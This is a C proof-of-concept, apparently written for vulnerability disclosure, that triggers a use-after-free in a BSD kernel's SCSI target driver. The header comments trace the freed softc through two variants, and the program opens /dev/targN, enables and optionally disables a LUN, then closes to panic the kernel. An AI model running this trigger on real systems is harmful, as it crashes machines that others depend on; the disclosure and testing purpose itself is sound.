/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1045 PoC: SCSI target driver targclose UAF.
 *
 * Two variants are exercised here:
 *
 *  (A) SUCCESS-PATH UAF — open + TARGIOCENABLE (target-capable HBA) + close.
 *      close -> targclose -> targdisable (aborts any pending ATIOs back to
 *      user_ccb_queue) -> kfree(softc) at line 240 -> cam_periph_release ->
 *      targdtor -> TAILQ_FIRST(&softc->user_ccb_queue) on freed memory at
 *      line 541.
 *
 *  (B) EARLY-EXIT / CROSS-INSTANCE UAF — open + TARGIOCENABLE +
 *      TARGIOCDISABLE + close.  close takes the early-exit at line 216
 *      (state lacks TARG_STATE_LUN_ENABLED, periph != NULL) and kfrees
 *      softc while leaving periph->softc dangling in the still-registered
 *      periph.  A second process then opens /dev/targ1 and issues
 *      TARGIOCENABLE on the same (path_id, target_id, lun_id); targenable
 *      retrieves del_softc = periph->softc (freed) at line 446 and
 *      dereferences it at line 447 -> panic.
 *
 * Build:  cc -o tgt_uaf tgt_uaf.c
 * Run as root on a system with a target-capable SCSI HBA (e.g. ahc/ahd/mpt
 * with target-mode enabled).  Variants A and B both panic the kernel.
 *
 * To run variant B (cross-instance), launch this program twice with the
 * --disable-then-close flag in process A on one tty and without that flag
 * in process B on another tty.
 */
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* The real header lives under <bus/cam/scsi/scsi_targetio.h> in the source
 * tree; on a running system it is typically installed at
 * /usr/include/bus/cam/scsi/scsi_targetio.h.  We declare the ioctls and the
 * enable-lun argument inline to avoid include-path friction. */
#define TARGIOCENABLE   _IOW('C', 0, struct ioc_enable_lun)
#define TARGIOCDISABLE  _IO('C', 1)

struct ioc_enable_lun {
    int     path_id;
    int     target_id;
    int     lun_id;
    int     grp6_len;
    int     grp7_len;
};

static void usage(const char *prog)
{
    fprintf(stderr,
        "Usage: %s <path_id> <target_id> <lun_id> [--disable-then-close]\n"
        "  path_id/target_id/lun_id come from `camcontrol devlist`\n",
        prog);
    exit(1);
}

int main(int argc, char **argv)
{
    int fd, rc;
    int disable_then_close = 0;
    struct ioc_enable_lun lun;
    int argi = 1;

    if (argc < 4) usage(argv[0]);

    memset(&lun, 0, sizeof(lun));
    lun.path_id   = atoi(argv[argi++]);
    lun.target_id = atoi(argv[argi++]);
    lun.lun_id    = atoi(argv[argi++]);

    if (argi < argc && strcmp(argv[argi], "--disable-then-close") == 0)
        disable_then_close = 1;

    /* Try /dev/targ0, then 1, then 2 ... */
    char path[32];
    for (int unit = 0; unit < 16; unit++) {
        snprintf(path, sizeof(path), "/dev/targ%d", unit);
        fd = open(path, O_RDWR);
        if (fd >= 0) {
            fprintf(stderr, "[+] opened %s fd=%d\n", path, fd);
            break;
        }
    }
    if (fd < 0) {
        perror("open /dev/targN");
        return 1;
    }

    rc = ioctl(fd, TARGIOCENABLE, &lun);
    if (rc != 0)
        perror("[!] TARGIOCENABLE (need target-capable HBA)");
    else
        fprintf(stderr, "[+] TARGIOCENABLE ok\n");

    if (disable_then_close) {
        rc = ioctl(fd, TARGIOCDISABLE, NULL);
        if (rc != 0)
            perror("[!] TARGIOCDISABLE");
        else
            fprintf(stderr, "[+] TARGIOCDISABLE ok — close will early-exit and "
                            "leave periph->softc dangling\n");
    }

    /* Trigger the UAF. */
    fprintf(stderr, "[+] closing — expect kernel panic in targdtor at "
                    "scsi_target.c:541\n");
    close(fd);
    return 0;
}
